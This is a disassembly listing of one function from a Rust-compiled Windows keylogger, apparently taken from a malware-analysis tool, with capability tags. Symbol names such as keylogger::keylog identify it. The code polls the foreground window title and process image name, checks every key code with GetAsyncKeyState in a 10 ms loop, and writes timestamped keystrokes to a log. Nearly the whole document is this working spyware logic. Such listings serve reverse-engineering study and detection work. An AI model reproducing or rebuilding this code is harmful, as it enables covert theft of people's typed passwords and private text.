Function at 0x1400088b0
Capabilities:
Get graphical window text
Get process image filename
Log keystrokes via polling

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0xbd0
mov qword [rsp + 0x268], rcx
mov dword [rsp + 0x280], 0x55
mov dword [rsp + 0x284], 0x100
mov qword [rsp + 0x938], rcx
mov byte [rsp + 0x937], 0
call dbg.header_file
xor eax, eax
mov dx, ax
lea rcx, [rsp + 0x2a0]
mov qword [rsp + 0x270], rcx
mov r8d, 0x55
call dbg.from_elem<u16>
mov rcx, qword [rsp + 0x270]
call dbg.alloc::vec::Vec<T,A>::as_mut_ptr::h62e8759c8c6cb660
mov qword [rsp + 0x278], rax
jmp 0x140008950
mov rcx, qword [rsp + 0x278]
mov edx, 0x55
call sub.kernel32.dll_GetUserDefaultLocaleName
jmp 0x140008964
mov qword [rsp + 0x2b8], 0
lea rcx, [rsp + 0x2a0]
call dbg.deref<u16, alloc::alloc::Global>
mov qword [rsp + 0x258], rdx
mov qword [rsp + 0x260], rax
jmp 0x14000898f
mov rdx, qword [rsp + 0x258]
mov rcx, qword [rsp + 0x260]
call dbg.iter<u16>
mov qword [rsp + 0x248], rdx
mov qword [rsp + 0x250], rax
jmp 0x1400089b6
mov r8, qword [rsp + 0x248]
mov rdx, qword [rsp + 0x250]
lea rcx, [rsp + 0x2c0]
call dbg.enumerate<core::slice::iter::Iter<u16>>
jmp 0x1400089d5
lea rax, [rsp + 0x2b8]
mov qword [rsp + 0x2d8], rax
mov rdx, qword [rsp + 0x2d8]
lea rcx, [rsp + 0x2c0]
call dbg.for_each<core::iter::adapters::enumerate::Enumerate<core::slice::iter::Iter<u16>>, keylogger::keylog::{closure_env#0}>
jmp 0x1400089fc
mov rax, qword [rsp + 0x2b8]
mov qword [rsp + 0x2e0], 0
mov qword [rsp + 0x2e8], rax
mov rdx, qword [rsp + 0x2e0]
mov r8, qword [rsp + 0x2e8]
lea r9, str.src_main.rs
lea rcx, [rsp + 0x2a0]
call dbg.index_mut<u16, core::ops::range::Range<usize>, alloc::alloc::Global>
mov qword [rsp + 0x238], rdx
mov qword [rsp + 0x240], rax
jmp 0x140008a4e
mov rax, qword [rsp + 0x238]
mov rcx, qword [rsp + 0x240]
mov qword [rsp + 0xbc0], rcx
mov qword [rsp + 0xbc8], rax
mov r8, qword [rsp + 0x238]
mov rdx, qword [rsp + 0x240]
lea rcx, [rsp + 0x288]
call dbg.alloc::string::String::from_utf16_lossy::h47f7594ebb388f64
jmp 0x140008a8d
lea rcx, [rsp + 0x2a0]
call dbg.drop_in_place<alloc::vec::Vec<u16, alloc::alloc::Global>>
lea rcx, [rsp + 0x288]
mov qword [rsp + 0xb00], rcx
lea rax, [sym.__alloc::string::String_as_core::fmt::Display_::fmt::h6273fea51780d49d]
mov qword [rsp + 0xb08], rax
mov qword [rsp + 0xaf0], rcx
mov qword [rsp + 0xaf8], rax
mov rax, qword [rsp + 0xaf0]
mov qword [rsp + 0x228], rax
mov rax, qword [rsp + 0xaf8]
mov qword [rsp + 0x230], rax
jmp 0x140008b13
mov rax, qword [rsp + 0x230]
mov rcx, qword [rsp + 0x228]
mov qword [rsp + 0x338], rcx
mov qword [rsp + 0x340], rax
mov rax, rsp
mov qword [rax + 0x20], 1
lea rdx, str.Location:
lea rcx, [rsp + 0x308]
mov r8d, 2
lea r9, [rsp + 0x338]
call dbg.core::fmt::Arguments::new_v1::hf8bea9dcc424f2c3
jmp 0x140008b62
lea rcx, [rsp + 0x2f0]
lea rdx, [rsp + 0x308]
call sym.alloc::fmt::format::ha0ce2e6f6ede4ac1
jmp 0x140008b79
mov rcx, qword [rsp + 0x268]
lea rdx, [rsp + 0x2f0]
call sym.keylogger::log::hcdf959981ddb5b18
jmp 0x140008b90
lea rdx, str._nKeylogs:__n
lea rcx, [rsp + 0x348]
mov r8d, 0xb
call sym.__str_as_alloc::string::ToString_::to_string::hb733e5b262130846
jmp 0x140008bac
mov rcx, qword [rsp + 0x268]
lea rdx, [rsp + 0x348]
call sym.keylogger::log::hcdf959981ddb5b18
jmp 0x140008bc3
jmp 0x140008bc5
mov ecx, 0xa
call dbg.core::time::Duration::from_millis::he0f69edd3f30231e
mov dword [rsp + 0x21c], edx
mov qword [rsp + 0x220], rax
jmp 0x140008be0
mov edx, dword [rsp + 0x21c]
mov rcx, qword [rsp + 0x220]
call dbg.sleep
jmp 0x140008bf6
call sub.user32.dll_GetForegroundWindow
mov qword [rsp + 0x210], rax
jmp 0x140008c05
mov rcx, qword [rsp + 0x210]
mov qword [rsp + 0x950], rcx
mov dword [rsp + 0x364], 0
lea rdx, [rsp + 0x364]
call sub.user32.dll_GetWindowThreadProcessId
jmp 0x140008c2f
mov r8d, dword [rsp + 0x364]
mov dword [rsp + 0x95c], r8d
mov ecx, 0x1000
xor edx, edx
call sub.kernel32.dll_OpenProcess
mov qword [rsp + 0x208], rax
jmp 0x140008c55
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x960], rax
xor eax, eax
mov dx, ax
lea rcx, [rsp + 0x380]
mov r8d, 0x100
call dbg.from_elem<u16>
jmp 0x140008c7f
lea rcx, [rsp + 0x380]
call dbg.alloc::vec::Vec<T,A>::as_mut_ptr::h62e8759c8c6cb660
mov qword [rsp + 0x200], rax
jmp 0x140008cbe
mov rdx, qword [rsp + 0x200]
mov rcx, qword [rsp + 0x208]
mov r8d, 0x100
call sub.psapi.dll_GetProcessImageFileNameW
jmp 0x140008cdb
mov qword [rsp + 0x398], 0
lea rcx, [rsp + 0x380]
call dbg.deref<u16, alloc::alloc::Global>
mov qword [rsp + 0x1f0], rdx
mov qword [rsp + 0x1f8], rax
jmp 0x140008d06
mov rdx, qword [rsp + 0x1f0]
mov rcx, qword [rsp + 0x1f8]
call dbg.iter<u16>
mov qword [rsp + 0x1e0], rdx
mov qword [rsp + 0x1e8], rax
jmp 0x140008d2d
mov r8, qword [rsp + 0x1e0]
mov rdx, qword [rsp + 0x1e8]
lea rcx, [rsp + 0x3a0]
call dbg.enumerate<core::slice::iter::Iter<u16>>
jmp 0x140008d4c
lea rax, [rsp + 0x398]
mov qword [rsp + 0x3b8], rax
mov rdx, qword [rsp + 0x3b8]
lea rcx, [rsp + 0x3a0]
call dbg.for_each<core::iter::adapters::enumerate::Enumerate<core::slice::iter::Iter<u16>>, keylogger::keylog::{closure_env#1}>
jmp 0x140008d73
mov rax, qword [rsp + 0x398]
mov qword [rsp + 0x3d8], 0
mov qword [rsp + 0x3e0], rax
mov rdx, qword [rsp + 0x3d8]
mov r8, qword [rsp + 0x3e0]
lea r9, str.src_main.rs
lea rcx, [rsp + 0x380]
call dbg.index_mut<u16, core::ops::range::Range<usize>, alloc::alloc::Global>
mov qword [rsp + 0x1d0], rdx
mov qword [rsp + 0x1d8], rax
jmp 0x140008dc5
mov rax, qword [rsp + 0x1d0]
mov rcx, qword [rsp + 0x1d8]
mov qword [rsp + 0xbb0], rcx
mov qword [rsp + 0xbb8], rax
mov r8, qword [rsp + 0x1d0]
mov rdx, qword [rsp + 0x1d8]
lea rcx, [rsp + 0x3c0]
call dbg.alloc::string::String::from_utf16_lossy::h47f7594ebb388f64
jmp 0x140008e04
mov byte [rsp + 0x937], 1
lea rcx, [rsp + 0x3c0]
call sym.__alloc::string::String_as_core::ops::deref::Deref_::deref::h6406f72cc23a8024
mov qword [rsp + 0x1c0], rdx
mov qword [rsp + 0x1c8], rax
jmp 0x140008e53
mov rdx, qword [rsp + 0x1c0]
mov rcx, qword [rsp + 0x1c8]
lea r8, [0x1400fe258]
mov r9d, 1
call dbg.rfind<&str>
mov qword [rsp + 0x1b0], rdx
mov qword [rsp + 0x1b8], rax
jmp 0x140008e87
mov rax, qword [rsp + 0x1b0]
mov rcx, qword [rsp + 0x1b8]
mov qword [rsp + 0x3e8], rcx
mov qword [rsp + 0x3f0], rax
cmp qword [rsp + 0x3e8], 1
jne 0x140008ed7
mov rax, qword [rsp + 0x3f0]
mov qword [rsp + 0x968], rax
add rax, 1
mov qword [rsp + 0x1a8], rax
setb al
test al, 1
jne 0x140008f4f
jmp 0x140008f11
mov byte [rsp + 0x937], 0
mov rax, qword [rsp + 0x3c0]
mov qword [rsp + 0x368], rax
mov rax, qword [rsp + 0x3c8]
mov qword [rsp + 0x370], rax
mov rax, qword [rsp + 0x3d0]
mov qword [rsp + 0x378], rax
jmp 0x140008f8c
mov rax, qword [rsp + 0x1a8]
mov qword [rsp + 0x3f8], rax
mov rdx, qword [rsp + 0x3f8]
lea r8, str.src_main.rs
lea rcx, [rsp + 0x3c0]
call sym._ZN113__LT_alloc..string..String_u20_as_u20_core..ops..index..Index_LT_core..ops..range..RangeFrom_LT_usize_GT__GT__GT_5index1
mov qword [rsp + 0x198], rdx
mov qword [rsp + 0x1a0], rax
jmp 0x140008f6b
lea rcx, [0x1400fe280]
lea r8, str.src_main.rs
mov edx, 0x1c
call dbg.panic
jmp 0x140008f69
ud2
mov r8, qword [rsp + 0x198]
mov rdx, qword [rsp + 0x1a0]
lea rcx, [rsp + 0x368]
call sym.__str_as_alloc::string::ToString_::to_string::hb733e5b262130846
jmp 0x140008f8a
jmp 0x140008f8c
test byte [rsp + 0x937], 1
jne 0x140008fad
mov byte [rsp + 0x937], 0
lea rcx, [rsp + 0x380]
call dbg.drop_in_place<alloc::vec::Vec<u16, alloc::alloc::Global>>
jmp 0x140008fbc
lea rcx, [rsp + 0x3c0]
call sym.core::ptr::drop_in_place_alloc::string::String_::h4114501e789e952c
jmp 0x140008f96
mov rcx, qword [rsp + 0x210]
call sub.user32.dll_GetWindowTextLengthW
mov dword [rsp + 0x194], eax
jmp 0x140008ffa
mov eax, dword [rsp + 0x194]
inc eax
mov dword [rsp + 0x190], eax
seto al
test al, 1
jne 0x14000903b
mov eax, dword [rsp + 0x190]
mov dword [rsp + 0x970], eax
lea rdx, str.No_idname
lea rcx, [rsp + 0x420]
mov r8d, 9
call sym.__str_as_alloc::string::ToString_::to_string::hb733e5b262130846
jmp 0x140009058
lea rcx, [0x1400fe280]
lea r8, str.src_main.rs
mov edx, 0x1c
call dbg.panic
jmp 0x140008f69
mov eax, dword [rsp + 0x190]
cmp eax, 0
jg 0x140009096
mov rax, qword [rsp + 0x430]
mov qword [rsp + 0x410], rax
movaps xmm0, xmmword [rsp + 0x420]
movaps xmmword [rsp + 0x400], xmm0
lea rcx, [rsp + 0x46c]
call dbg.chrono::offset::utc::Utc::now::h62984e9e1e027bda
jmp 0x14000929d
mov eax, dword [rsp + 0x190]
movsxd r8, eax
xor eax, eax
mov dx, ax
lea rcx, [rsp + 0x438]
call dbg.from_elem<u16>
jmp 0x1400090dc
lea rcx, [rsp + 0x438]
call dbg.alloc::vec::Vec<T,A>::as_mut_ptr::h62e8759c8c6cb660
mov qword [rsp + 0x188], rax
jmp 0x140009118
mov r8d, dword [rsp + 0x190]
mov rdx, qword [rsp + 0x188]
mov rcx, qword [rsp + 0x210]
call sub.user32.dll_GetWindowTextW
jmp 0x140009137
lea rcx, [rsp + 0x438]
call dbg.alloc::vec::Vec<T,A>::len::h1c609d445ef8eacf
mov qword [rsp + 0x180], rax
jmp 0x14000914e
mov rax, qword [rsp + 0x180]
mov rcx, rax
sub rcx, 1
mov qword [rsp + 0x178], rcx
cmp rax, 1
setb al
test al, 1
jne 0x14000918e
mov rdx, qword [rsp + 0x178]
lea r8, str.src_main.rs
lea rcx, [rsp + 0x438]
call dbg.alloc::vec::Vec<T,A>::remove::h8ed3c0de032efd45
jmp 0x1400091ab
lea rcx, [0x1400fe300]
lea r8, str.src_main.rs
mov edx, 0x21
call dbg.panic
jmp 0x140008f69
lea rcx, [rsp + 0x438]
call dbg.as_mut<u16, alloc::alloc::Global>
mov qword [rsp + 0x168], rdx
mov qword [rsp + 0x170], rax
jmp 0x1400091ca
mov r8, qword [rsp + 0x168]
mov rdx, qword [rsp + 0x170]
lea rcx, [rsp + 0x450]
call dbg.alloc::string::String::from_utf16_lossy::h47f7594ebb388f64
jmp 0x1400091e9
lea rcx, [rsp + 0x420]
call sym.core::ptr::drop_in_place_alloc::string::String_::h4114501e789e952c
jmp 0x140009243
mov rax, qword [rsp + 0x460]
mov qword [rsp + 0x430], rax
movups xmm0, xmmword [rsp + 0x450]
movaps xmmword [rsp + 0x420], xmm0
lea rcx, [rsp + 0x438]
call dbg.drop_in_place<alloc::vec::Vec<u16, alloc::alloc::Global>>
jmp 0x140009064
mov ecx, 0x10
call sub.user32.dll_GetAsyncKeyState
mov word [rsp + 0x166], ax
jmp 0x1400092b1
mov ax, word [rsp + 0x166]
movzx eax, ax
shr eax, 0xf
mov byte [rsp + 0x15b], al
mov byte [rsp + 0x977], al
mov dword [rsp + 0x478], 0
mov dword [rsp + 0x47c], 0xff
mov ecx, dword [rsp + 0x478]
mov edx, dword [rsp + 0x47c]
call dbg.into_iter<core::ops::range::Range<i32>>
mov dword [rsp + 0x15c], edx
mov dword [rsp + 0x160], eax
jmp 0x140009306
mov eax, dword [rsp + 0x15c]
mov ecx, dword [rsp + 0x160]
mov dword [rsp + 0x480], ecx
mov dword [rsp + 0x484], eax
lea rcx, [rsp + 0x480]
call dbg.next<i32>
mov dword [rsp + 0x150], edx
mov dword [rsp + 0x154], eax
jmp 0x14000933f
mov eax, dword [rsp + 0x150]
mov ecx, dword [rsp + 0x154]
mov dword [rsp + 0x488], ecx
mov dword [rsp + 0x48c], eax
mov eax, dword [rsp + 0x488]
cmp rax, 0
jne 0x140009377
lea rcx, [rsp + 0x400]
call sym.core::ptr::drop_in_place_alloc::string::String_::h4114501e789e952c
jmp 0x14000939b
mov ecx, dword [rsp + 0x48c]
mov dword [rsp + 0x148], ecx
mov dword [rsp + 0x978], ecx
call sub.user32.dll_GetAsyncKeyState
mov word [rsp + 0x14e], ax
jmp 0x1400093ad
lea rcx, [rsp + 0x368]
call sym.core::ptr::drop_in_place_alloc::string::String_::h4114501e789e952c
jmp 0x140008bc5
mov ax, word [rsp + 0x14e]
mov word [rsp + 0x97e], ax
and ax, 1
cmp ax, 0
jle 0x140009322
lea rcx, [rsp + 0x46c]
call dbg.hour<chrono::offset::utc::Utc>
mov dword [rsp + 0x144], eax
jmp 0x1400093e1
mov eax, dword [rsp + 0x144]
mov dword [rsp + 0x55c], eax
lea rcx, [rsp + 0x55c]
mov qword [rsp + 0xb60], rcx
lea rax, [sym.core::fmt::num::imp::__impl_core::fmt::Display_for_u32_::fmt::h43a2b73490fdfa36]
mov qword [rsp + 0xb68], rax
mov qword [rsp + 0xb50], rcx
mov qword [rsp + 0xb58], rax
mov rax, qword [rsp + 0xb50]
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0xb58]
mov qword [rsp + 0x138], rax
mov rax, qword [rsp + 0x138]
mov rcx, qword [rsp + 0x130]
mov qword [rsp + 0x118], rcx
mov qword [rsp + 0x120], rax
lea rcx, [rsp + 0x46c]
call dbg.minute<chrono::offset::utc::Utc>
mov dword [rsp + 0x12c], eax
jmp 0x140009474
mov eax, dword [rsp + 0x12c]
mov dword [rsp + 0x560], eax
lea rcx, [rsp + 0x560]
mov qword [rsp + 0xb40], rcx
lea rax, [sym.core::fmt::num::imp::__impl_core::fmt::Display_for_u32_::fmt::h43a2b73490fdfa36]
mov qword [rsp + 0xb48], rax
mov qword [rsp + 0xb30], rcx
mov qword [rsp + 0xb38], rax
mov rax, qword [rsp + 0xb30]
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0xb38]
mov qword [rsp + 0x110], rax
mov rax, qword [rsp + 0x110]
mov rcx, qword [rsp + 0x108]
mov qword [rsp + 0xf0], rcx
mov qword [rsp + 0xf8], rax
lea rcx, [rsp + 0x46c]
call dbg.second<chrono::offset::utc::Utc>
mov dword [rsp + 0x104], eax
jmp 0x140009507
mov eax, dword [rsp + 0x104]
mov dword [rsp + 0x564], eax
lea rcx, [rsp + 0x564]
mov qword [rsp + 0xb20], rcx
lea rax, [sym.core::fmt::num::imp::__impl_core::fmt::Display_for_u32_::fmt::h43a2b73490fdfa36]
mov qword [rsp + 0xb28], rax
mov qword [rsp + 0xb10], rcx
mov qword [rsp + 0xb18], rax
mov rax, qword [rsp + 0xb10]
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0xb18]
mov qword [rsp + 0xe8], rax
mov rax, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0xe0]
mov qword [rsp + 0xc0], rcx
mov qword [rsp + 0xc8], rax
lea rcx, [rsp + 0x368]
call sym.__alloc::string::String_as_core::ops::deref::Deref_::deref::h6406f72cc23a8024
mov qword [rsp + 0xd0], rdx
mov qword [rsp + 0xd8], rax
jmp 0x1400095a3
mov rdx, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xd8]
call sym.core::str::__impl_str_::trim::h8f26a7cd7db807d3
mov qword [rsp + 0xb0], rdx
mov qword [rsp + 0xb8], rax
jmp 0x1400095ca
mov rax, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0xb8]
mov qword [rsp + 0x568], rcx
mov qword [rsp + 0x570], rax
lea rcx, [rsp + 0x568]
mov qword [rsp + 0xba0], rcx
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h8281b0c41e3af2c0]
mov qword [rsp + 0xba8], rax
mov qword [rsp + 0xb90], rcx
mov qword [rsp + 0xb98], rax
mov rax, qword [rsp + 0xb90]
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0xb98]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0xa0]
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0x88], rax
lea rcx, [rsp + 0x400]
call sym.__alloc::string::String_as_core::ops::deref::Deref_::deref::h6406f72cc23a8024
mov qword [rsp + 0x90], rdx
mov qword [rsp + 0x98], rax
jmp 0x140009678
mov rdx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x98]
call sym.core::str::__impl_str_::trim::h8f26a7cd7db807d3
mov qword [rsp + 0x70], rdx
mov qword [rsp + 0x78], rax
jmp 0x140009699
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 0x578], rcx
mov qword [rsp + 0x580], rax
lea rcx, [rsp + 0x578]
mov qword [rsp + 0xb80], rcx
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h8281b0c41e3af2c0]
mov qword [rsp + 0xb88], rax
mov qword [rsp + 0xb70], rcx
mov qword [rsp + 0xb78], rax
mov rax, qword [rsp + 0xb70]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0xb78]
mov qword [rsp + 0x68], rax
mov r8b, byte [rsp + 0x15b]
mov eax, dword [rsp + 0x148]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x60]
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x58], rcx
mov dl, al
and r8b, 1
lea rcx, [rsp + 0x588]
call dbg.key_notes
jmp 0x140009734
lea rcx, [rsp + 0x588]
mov qword [rsp + 0xae0], rcx
lea rax, [sym.__alloc::string::String_as_core::fmt::Display_::fmt::h6273fea51780d49d]
mov qword [rsp + 0xae8], rax
mov qword [rsp + 0xad0], rcx
mov qword [rsp + 0xad8], rax
mov rax, qword [rsp + 0xad0]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xad8]
mov qword [rsp + 0x48], rax
jmp 0x1400097a7
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x50]
mov r9, qword [rsp + 0x88]
mov r10, qword [rsp + 0x80]
mov r11, qword [rsp + 0xc8]
mov rsi, qword [rsp + 0xc0]
mov rdi, qword [rsp + 0xf8]
mov rbx, qword [rsp + 0xf0]
mov r14, qword [rsp + 0x120]
mov r15, qword [rsp + 0x118]
mov qword [rsp + 0x4f8], r15
mov qword [rsp + 0x500], r14
mov qword [rsp + 0x508], rbx
mov qword [rsp + 0x510], rdi
mov qword [rsp + 0x518], rsi
mov qword [rsp + 0x520], r11
mov qword [rsp + 0x528], r10
mov qword [rsp + 0x530], r9
mov qword [rsp + 0x538], r8
mov qword [rsp + 0x540], rdx
mov qword [rsp + 0x548], rcx
mov qword [rsp + 0x550], rax
mov byte [rsp + 0x72f], 3
mov qword [rsp + 0x730], 2
mov qword [rsp + 0x748], 2
mov qword [rsp + 0x740], 0
mov r9b, byte [rsp + 0x72f]
mov r8, qword [rsp + 0x730]
mov rdx, qword [rsp + 0x738]
mov rcx, qword [rsp + 0x740]
mov rax, qword [rsp + 0x748]
mov qword [rsp + 0xa98], 0
mov dword [rsp + 0xaa4], 0x20
mov byte [rsp + 0xaab], r9b
mov dword [rsp + 0xaac], 8
mov qword [rsp + 0xab0], r8
mov qword [rsp + 0xab8], rdx
mov qword [rsp + 0xac0], rcx
mov qword [rsp + 0xac8], rax
mov qword [rsp + 0x710], 0
mov dword [rsp + 0x718], 0x20
mov byte [rsp + 0x720], r9b
mov dword [rsp + 0x71c], 8
mov qword [rsp + 0x6f0], r8
mov qword [rsp + 0x6f8], rdx
mov qword [rsp + 0x700], rcx
mov qword [rsp + 0x708], rax
mov byte [rsp + 0x78f], 3
mov qword [rsp + 0x790], 2
mov qword [rsp + 0x7a8], 2
mov qword [rsp + 0x7a0], 0
mov r9b, byte [rsp + 0x78f]
mov r8, qword [rsp + 0x790]
mov rdx, qword [rsp + 0x798]
mov rcx, qword [rsp + 0x7a0]
mov rax, qword [rsp + 0x7a8]
mov qword [rsp + 0xa60], 1
mov dword [rsp + 0xa6c], 0x20
mov byte [rsp + 0xa73], r9b
mov dword [rsp + 0xa74], 8
mov qword [rsp + 0xa78], r8
mov qword [rsp + 0xa80], rdx
mov qword [rsp + 0xa88], rcx
mov qword [rsp + 0xa90], rax
mov qword [rsp + 0x770], 1
mov dword [rsp + 0x778], 0x20
mov byte [rsp + 0x780], r9b
mov dword [rsp + 0x77c], 8
mov qword [rsp + 0x750], r8
mov qword [rsp + 0x758], rdx
mov qword [rsp + 0x760], rcx
mov qword [rsp + 0x768], rax
mov byte [rsp + 0x7ef], 3
mov qword [rsp + 0x7f0], 2
mov qword [rsp + 0x808], 2
mov qword [rsp + 0x800], 0
mov r9b, byte [rsp + 0x7ef]
mov r8, qword [rsp + 0x7f0]
mov rdx, qword [rsp + 0x7f8]
mov rcx, qword [rsp + 0x800]
mov rax, qword [rsp + 0x808]
mov qword [rsp + 0xa28], 2
mov dword [rsp + 0xa34], 0x20
mov byte [rsp + 0xa3b], r9b
mov dword [rsp + 0xa3c], 8
mov qword [rsp + 0xa40], r8
mov qword [rsp + 0xa48], rdx
mov qword [rsp + 0xa50], rcx
mov qword [rsp + 0xa58], rax
mov qword [rsp + 0x7d0], 2
mov dword [rsp + 0x7d8], 0x20
mov byte [rsp + 0x7e0], r9b
mov dword [rsp + 0x7dc], 8
mov qword [rsp + 0x7b0], r8
mov qword [rsp + 0x7b8], rdx
mov qword [rsp + 0x7c0], rcx
mov qword [rsp + 0x7c8], rax
mov byte [rsp + 0x84f], 3
mov qword [rsp + 0x850], 2
mov qword [rsp + 0x860], 2
mov r9b, byte [rsp + 0x84f]
mov r8, qword [rsp + 0x850]
mov rdx, qword [rsp + 0x858]
mov rcx, qword [rsp + 0x860]
mov rax, qword [rsp + 0x868]
mov qword [rsp + 0x9f0], 3
mov dword [rsp + 0x9fc], 0x20
mov byte [rsp + 0xa03], r9b
mov dword [rsp + 0xa04], 0
mov qword [rsp + 0xa08], r8
mov qword [rsp + 0xa10], rdx
mov qword [rsp + 0xa18], rcx
mov qword [rsp + 0xa20], rax
mov qword [rsp + 0x830], 3
mov dword [rsp + 0x838], 0x20
mov byte [rsp + 0x840], r9b
mov dword [rsp + 0x83c], 0
mov qword [rsp + 0x810], r8
mov qword [rsp + 0x818], rdx
mov qword [rsp + 0x820], rcx
mov qword [rsp + 0x828], rax
mov byte [rsp + 0x8af], 3
mov qword [rsp + 0x8b0], 2
mov qword [rsp + 0x8c0], 2
mov r9b, byte [rsp + 0x8af]
mov r8, qword [rsp + 0x8b0]
mov rdx, qword [rsp + 0x8b8]
mov rcx, qword [rsp + 0x8c0]
mov rax, qword [rsp + 0x8c8]
mov qword [rsp + 0x9b8], 4
mov dword [rsp + 0x9c4], 0x20
mov byte [rsp + 0x9cb], r9b
mov dword [rsp + 0x9cc], 0
mov qword [rsp + 0x9d0], r8
mov qword [rsp + 0x9d8], rdx
mov qword [rsp + 0x9e0], rcx
mov qword [rsp + 0x9e8], rax
mov qword [rsp + 0x890], 4
mov dword [rsp + 0x898], 0x20
mov byte [rsp + 0x8a0], r9b
mov dword [rsp + 0x89c], 0
mov qword [rsp + 0x870], r8
mov qword [rsp + 0x878], rdx
mov qword [rsp + 0x880], rcx
mov qword [rsp + 0x888], rax
mov byte [rsp + 0x90f], 3
mov qword [rsp + 0x910], 2
mov qword [rsp + 0x920], 2
mov r9b, byte [rsp + 0x90f]
mov r8, qword [rsp + 0x910]
mov rdx, qword [rsp + 0x918]
mov rcx, qword [rsp + 0x920]
mov rax, qword [rsp + 0x928]
mov qword [rsp + 0x980], 5
mov dword [rsp + 0x98c], 0x20
mov byte [rsp + 0x993], r9b
mov dword [rsp + 0x994], 0
mov qword [rsp + 0x998], r8
mov qword [rsp + 0x9a0], rdx
mov qword [rsp + 0x9a8], rcx
mov qword [rsp + 0x9b0], rax
mov qword [rsp + 0x8f0], 5
mov dword [rsp + 0x8f8], 0x20
mov byte [rsp + 0x900], r9b
mov dword [rsp + 0x8fc], 0
mov qword [rsp + 0x8d0], r8
mov qword [rsp + 0x8d8], rdx
mov qword [rsp + 0x8e0], rcx
mov qword [rsp + 0x8e8], rax
lea rcx, [rsp + 0x5a0]
lea rdx, [rsp + 0x6f0]
mov r8d, 0x38
call sym.memcpy
lea rcx, [rsp + 0x5a0]
add rcx, 0x38
lea rdx, [rsp + 0x750]
mov r8d, 0x38
call sym.memcpy
lea rcx, [rsp + 0x5a0]
add rcx, 0x70
lea rdx, [rsp + 0x7b0]
mov r8d, 0x38
call sym.memcpy
lea rcx, [rsp + 0x5a0]
add rcx, 0xa8
lea rdx, [rsp + 0x810]
mov r8d, 0x38
call sym.memcpy
lea rcx, [rsp + 0x5a0]
add rcx, 0xe0
lea rdx, [rsp + 0x870]
mov r8d, 0x38
call sym.memcpy
lea rcx, [rsp + 0x5a0]
add rcx, 0x118
lea rdx, [rsp + 0x8d0]
mov r8d, 0x38
call sym.memcpy
mov rax, rsp
lea rcx, [rsp + 0x5a0]
mov qword [rax + 0x28], rcx
mov qword [rax + 0x30], 6
mov qword [rax + 0x20], 6
lea rdx, str._________n
lea rcx, [rsp + 0x4c8]
mov r8d, 7
lea r9, [rsp + 0x4f8]
call dbg.core::fmt::Arguments::new_v1_formatted::h1eb9c397e48d11db
jmp 0x140009ea9
lea rcx, [rsp + 0x4b0]
lea rdx, [rsp + 0x4c8]
call sym.alloc::fmt::format::ha0ce2e6f6ede4ac1
jmp 0x140009ec0
lea rcx, [rsp + 0x588]
call sym.core::ptr::drop_in_place_alloc::string::String_::h4114501e789e952c
jmp 0x140009ef7
mov rcx, qword [rsp + 0x268]
mov rax, qword [rsp + 0x4c0]
mov qword [rsp + 0x4a0], rax
movups xmm0, xmmword [rsp + 0x4b0]
movaps xmmword [rsp + 0x490], xmm0
lea rdx, [rsp + 0x490]
call sym.keylogger::log::hcdf959981ddb5b18
jmp 0x140009f2e
jmp 0x140009322